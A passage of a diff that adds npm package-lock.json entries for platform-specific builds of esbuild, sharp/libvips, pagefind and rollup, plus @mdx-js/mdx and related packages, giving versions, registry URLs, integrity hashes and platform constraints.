+ "node_modules/@esbuild/win32-x64": {
+ "version": "0.25.12",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",
+ "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@img/colour": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz",
+ "integrity": "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@img/sharp-darwin-arm64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.35.4.tgz",
+ "integrity": "sha512-Uhfl4V4lhP2nbUVF9+hyH1+luj86f1gUFeo8ALYxFoULoU+G87D43BfeMP8XHsk9boxAnCY/bf2EHwhA7MuGsA==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-darwin-arm64": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-darwin-x64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.35.4.tgz",
+ "integrity": "sha512-hWniXY3bG5qKpkKrAwPe4y+VTPmf086YQAnkxWh7uA1YrlRouWGa0M0Mxj3ZjnXFkv7/TD1bTy9lGUK26vRvWw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-darwin-x64": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-freebsd-wasm32": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-freebsd-wasm32/-/sharp-freebsd-wasm32-0.35.4.tgz",
+ "integrity": "sha512-lIsKw/BU+kjB4eZjxrYrZmwOJYi3Ajrv66iAlBmUPyKc3HpnloevB1g3wxGD9P/5BbQ1brBGl65VRRrCvQDEqA==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "dependencies": {
+ "@img/sharp-wasm32": "0.35.4"
+ },
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-darwin-arm64": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.3.3.tgz",
+ "integrity": "sha512-suTBPTDGrI9WodccaDdwZItTSaBYASlBk1NSfElSHrUfzu3szG6lvIF58+WiFvnfzuK8ZBFS5zE00PxqxnRiPg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-darwin-x64": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.3.3.tgz",
+ "integrity": "sha512-FVJZ5mITMobmXIz/hPDTw0EintTW5H3WfrxwLqEqjiIihlu+hVRyGrFQ60xl0Lxn7Bt3zdpevPaQi0HEzqz9fw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-arm": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.3.3.tgz",
+ "integrity": "sha512-3rbU4vqXXc3hY/OiXdl52xZvT0F1yEngWfvqudtPJg/KkyiaQw2DRsFrNzpmLvfavbwOq3qXn36GP8obHRULQA==",
+ "cpu": [
+ "arm"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-arm64": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.3.3.tgz",
+ "integrity": "sha512-0DaL0A6Xu6sQSQFwe4iVCrKWU2cCTItnRsYsCdxAMm9NF6twAA9BKnoqy4hqz4+azQ0JHuA26qiUKsf1XJ/v5A==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-ppc64": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.3.3.tgz",
+ "integrity": "sha512-cdn1OvUBwsXhbC0zSzJnNzf5MZ/mTrobawDvNXBTxe8VtqKAm0sRuEY2Evzovb/w9JMk4TvRxqt1mekSuJz64w==",
+ "cpu": [
+ "ppc64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-riscv64": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.3.3.tgz",
+ "integrity": "sha512-HjPVx7yKz+0lqdhDlTw1tt90wamBoxhiXpvl1XZpJLiHH4RCJ5yDTqH+VlYPv2fwFs89JFw4c1IexYOcQUi4IQ==",
+ "cpu": [
+ "riscv64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-s390x": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.3.3.tgz",
+ "integrity": "sha512-neWLh+3yCNThxnfy3c4BbVBeGgt9aftno+XbT56iK28RgeDs3UOFWviLWlUu0bArYVYJaFDK+RRohbicUNCm8Q==",
+ "cpu": [
+ "s390x"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-x64": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.3.3.tgz",
+ "integrity": "sha512-4vKmvAst9nrowcqquKFAyZJUDolUaIp8uRiN0mWFguJ1IplC9/pitXtlnnlU4aa/eJw3J7i67V+pwUL+wZGdsA==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linuxmusl-arm64": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.3.3.tgz",
+ "integrity": "sha512-Y9kQaLMuNoB0bPYOOdcZMaseNrFpPodIWWMrx+CZyydf2xn68j9WYc6sWWRrDwNkzCQjKYfc68L7jKjGlHMibw==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linuxmusl-x64": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.3.3.tgz",
+ "integrity": "sha512-fj8Mv0HHfD1Rr+4I68+3agJynxDWtBFgicTbSOb9Bke6pIwzGcJ+RX/yHjmiEGFMCavY/dxvem7MyNaJF+wDiw==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-linux-arm": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.35.4.tgz",
+ "integrity": "sha512-7OAS8gI0EReKGVN2HssHlM6umJgxF5VI3xN0p9FA91p/YO+ou5hiNghLdZ5BEHztwaaK5+bLKRf8x/o2L2nk9A==",
+ "cpu": [
+ "arm"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-arm": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-linux-arm64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.35.4.tgz",
+ "integrity": "sha512-De4jpEnAU8Hd5oT0j1G3uL4ZvTuipVMn7YC6vPaJhy6/7EwEae0SVAoBrUMYQbkLGDm85taVWwuPc1a44LTzCQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-arm64": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-linux-ppc64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.35.4.tgz",
+ "integrity": "sha512-2oYZJeIl4kCcMGk4ouZVjnkCtFrpQFlNEtJ6GbxzhHQchwH0NH/qEb9ykmOl29dqwMq+JhFdZn+1ak2FKhI9fQ==",
+ "cpu": [
+ "ppc64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-ppc64": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-linux-riscv64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.35.4.tgz",
+ "integrity": "sha512-cPbNChoRURAWdebDIHSenxRpgEdy7JkPydSnUxRm9VvKD7m0/xVaR/8Fzlu81pk5nHEvHH87UZUA7cTtwnbJSA==",
+ "cpu": [
+ "riscv64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-riscv64": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-linux-s390x": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.35.4.tgz",
+ "integrity": "sha512-RY0JFY8Fd6RonCBtHz+DvadaPkXDSI1AUn6yWL9TipqkZ1vY8w8evqdgyDFnkm4/K1ve1TvZiaePP5oSd4+WVQ==",
+ "cpu": [
+ "s390x"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-s390x": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-linux-x64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.35.4.tgz",
+ "integrity": "sha512-9qvvEAuk8k89TfWUoX2htWjbAMX8p+NxCppjpcg5k6xMsjhBQPTsoIh36h9Qde4WRuGpJeYnOjdosDn/cnv+OA==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-x64": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-linuxmusl-arm64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.35.4.tgz",
+ "integrity": "sha512-KB5jxpfWQTr0nc3xdHtWChdbifHrBGsd2SM62Eyxrl8afikm+f5qGBU75SJIZBT/S1MC8XyacdlXBMSWq6OURA==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linuxmusl-arm64": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-linuxmusl-x64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.35.4.tgz",
+ "integrity": "sha512-f+eZJZIQNEEd26RPSW+76chwOf1XtA2Y/O+5ocVyLliHkeih3e+jhLVBdNTd2rS3IbNXK8+ug93Vf5ZXtF5Lxg==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linuxmusl-x64": "1.3.3"
+ }
+ },
+ "node_modules/@img/sharp-wasm32": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.35.4.tgz",
+ "integrity": "sha512-zQnl4Kwp7Q6NHsENtU2T/00Zi+w3AQNwz3+UaTyVBy2FpXrzXzGjndpK61onhZjRtRpQXxCTeqw19bVyXOh7jA==",
+ "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT",
+ "optional": true,
+ "dependencies": {
+ "@emnapi/runtime": "^1.11.3"
+ },
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-webcontainers-wasm32": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-webcontainers-wasm32/-/sharp-webcontainers-wasm32-0.35.4.tgz",
+ "integrity": "sha512-ESfNkywmCfPNyaZjxooddJQiQ+l/nTpGEOGthxiLnIHXC/CmcBixnfwUleX9mCz9ovrUUvKMap/pm8RYbzfwaA==",
+ "cpu": [
+ "wasm32"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@img/sharp-wasm32": "0.35.4"
+ },
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-win32-arm64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.35.4.tgz",
+ "integrity": "sha512-iNdlBX9gLVvqe2I3uIJSIKTq6wckP/DYxZtcqxm09x5Gi24DnFBmPAWZmr60ZyYMG0xlzo6goG3670ar+RXvRw==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-win32-ia32": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.35.4.tgz",
+ "integrity": "sha512-kqRsbaa5CS6KHlpxnN7WhE6vAAugXyZButpRdvDWetlv6Qv4N9WTcrWzF7tXfB9T7MsoadqdI8hmwLq6UlLvtw==",
+ "cpu": [
+ "ia32"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": "^20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-win32-x64": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.35.4.tgz",
+ "integrity": "sha512-XtmnYhBcrORsJ4XJngyzr/EWP0hRZLAZRFaApdKuviyqF78+ylxh2y06ZmtULAMOnObJ3ucpN0AcwSWnMowTRg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@jridgewell/sourcemap-codec": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz",
+ "integrity": "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw==",
+ "license": "MIT"
+ },
+ "node_modules/@mdx-js/mdx": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/@mdx-js/mdx/-/mdx-3.1.1.tgz",
+ "integrity": "sha512-f6ZO2ifpwAQIpzGWaBQT2TXxPv6z3RBzQKpVftEWN78Vl/YweF1uwussDx8ECAXVtr3Rs89fKyG9YlzUs9DyGQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/mdx": "^2.0.0",
+ "acorn": "^8.0.0",
+ "collapse-white-space": "^2.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "estree-util-scope": "^1.0.0",
+ "estree-walker": "^3.0.0",
+ "hast-util-to-jsx-runtime": "^2.0.0",
+ "markdown-extensions": "^2.0.0",
+ "recma-build-jsx": "^1.0.0",
+ "recma-jsx": "^1.0.0",
+ "recma-stringify": "^1.0.0",
+ "rehype-recma": "^1.0.0",
+ "remark-mdx": "^3.0.0",
+ "remark-parse": "^11.0.0",
+ "remark-rehype": "^11.0.0",
+ "source-map": "^0.7.0",
+ "unified": "^11.0.0",
+ "unist-util-position-from-estree": "^2.0.0",
+ "unist-util-stringify-position": "^4.0.0",
+ "unist-util-visit": "^5.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/@napi-rs/lzma-linux-x64-gnu": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/@napi-rs/lzma-linux-x64-gnu/-/lzma-linux-x64-gnu-1.5.1.tgz",
+ "integrity": "sha512-oTXEIha4SsuXdTA4Iyskj0kpdx2yVXdhd75c2v3xGrHFfVMsbhTPZU/nMPL4sWKo4pBHm3aucLaqGlF696dTyQ==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^22.20 || ^24.12 || >=25"
+ }
+ },
+ "node_modules/@oslojs/encoding": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@oslojs/encoding/-/encoding-1.1.0.tgz",
+ "integrity": "sha512-70wQhgYmndg4GCPxPPxPGevRKqTIJ2Nh4OkiMWmDAVYsTQ+Ta7Sq+rPevXyXGdzr30/qZBnyOalCszoMxlyldQ==",
+ "license": "MIT"
+ },
+ "node_modules/@pagefind/darwin-arm64": {
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/@pagefind/darwin-arm64/-/darwin-arm64-1.5.2.tgz",
+ "integrity": "sha512-MXpI+7HsAdPkvJ0gk9xj9g541BCqBZOBbdwj9g6lB5LCj6kSV6nqDSjzcAJwvOsfu0fjwvC8hQU+ecfhp+MpiQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ]
+ },
+ "node_modules/@pagefind/darwin-x64": {
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/@pagefind/darwin-x64/-/darwin-x64-1.5.2.tgz",
+ "integrity": "sha512-IojxFWMEJe0RQ7PQ3KXQsPIImNsbpPYpoZ+QUDrL8fAl/O27IX+LVLs74/UzEZy5uA2LD8Nz1AiwKr72vrkZQw==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ]
+ },
+ "node_modules/@pagefind/freebsd-x64": {
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/@pagefind/freebsd-x64/-/freebsd-x64-1.5.2.tgz",
+ "integrity": "sha512-7EVzo9+0w+2cbe671BtMj10UlNo83I+HrLVLfRxO731svHRJKUfJ/mo05gU14pe9PCfpKNQT8FS3Xc/oDN6pOA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ]
+ },
+ "node_modules/@pagefind/linux-arm64": {
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/@pagefind/linux-arm64/-/linux-arm64-1.5.2.tgz",
+ "integrity": "sha512-Ovt9+K35sqzn8H3ZMXGwls4TD/wMJuvRtShHIsmUQREmaxjrDEX7gHckRCrwYJ4XE1H1p6HkLz3wukrAnsfXQw==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@pagefind/linux-x64": {
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/@pagefind/linux-x64/-/linux-x64-1.5.2.tgz",
+ "integrity": "sha512-V+tFqHKXhQKq/WqPBD67AFy7scn1/aZID00ws4fSDd+1daSi5UHR9VVlRrOUYKxn3VuFQYRD7lYXdZK1WED1YA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@pagefind/windows-arm64": {
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/@pagefind/windows-arm64/-/windows-arm64-1.5.2.tgz",
+ "integrity": "sha512-hN9Nh90fNW61nNRCW9ZyQrAj/mD0eRvmJ8NlTUzkbuW8kIzGJUi3cxjFkEcMZ5h/8FsKWD/VcouZl4yo1F7B6g==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@pagefind/windows-x64": {
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/@pagefind/windows-x64/-/windows-x64-1.5.2.tgz",
+ "integrity": "sha512-Fa2Iyw7kaDRzGMfNYNUXNW2zbL5FQVDgSOcbDHdzBrDEdpqOqg8TcZ68F22ol6NJ9IGzvUdmeyZypLW5dyhqsg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@rollup/pluginutils": {
+ "version": "5.4.0",
+ "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.4.0.tgz",
+ "integrity": "sha512-MfPp06CjRLfXQ3wY0R8vJDYBy/MvVcc9OulEfR0B8Iv9ko+GCNaRZ+EpJYFl27LhKsZK0o420sYCRHCjfCgeUg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "estree-walker": "^2.0.2",
+ "picomatch": "^4.0.2"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "peerDependencies": {
+ "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0"
+ },
+ "peerDependenciesMeta": {
+ "rollup": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@rollup/pluginutils/node_modules/estree-walker": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz",
+ "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==",
+ "license": "MIT"
+ },
+ "node_modules/@rollup/rollup-android-arm-eabi": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.63.1.tgz",
+ "integrity": "sha512-UZ8sUxPTiHWYX9QNdJedb1kDZSpS1t/VPWBWGSgqHNi9w3Cu6IXvu2mzbhiTiPvtrqgTQJ+zqiAq2iPIPilpaQ==",
+ "cpu": [
+ "arm"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ]
+ },
+ "node_modules/@rollup/rollup-android-arm64": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.63.1.tgz",
+ "integrity": "sha512-cQ4nFQABN5cDvDpbvJ7bMStCpnaVxynZrRMfUJYgxcIk9Sh54FIO1vtfkg0B69REjER77ioZ/ov+eAApx/KmLQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ]
+ },
+ "node_modules/@rollup/rollup-darwin-arm64": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.63.1.tgz",
+ "integrity": "sha512-FQNqd1lRy/0QhDk3xeRIkSBiCpXCiDnZO3YLVdcDKN1UBiKToNftCzcXYNLshmPDUMlu2TdeS8tGcsU6f3YF1Q==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ]
+ },
+ "node_modules/@rollup/rollup-darwin-x64": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.63.1.tgz",
+ "integrity": "sha512-pvD16V939D3CloK0+qikpGaxiPrDUXTe7Y5cWOMkMSy7m1cawa8EGy/kXYi/G/cKAC4HDAbSnzCIk1WmsoOKXg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ]
+ },
+ "node_modules/@rollup/rollup-freebsd-arm64": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.63.1.tgz",
+ "integrity": "sha512-pcFGeL2345VwdTnJhA6zLbew+YgWB0qBG2+dMtXjCicf6+rm6kO6cOoh5VnTe0ZMrMRgRyuHmCJxZWrIdzYuOw==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ]
+ },
+ "node_modules/@rollup/rollup-freebsd-x64": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.63.1.tgz",
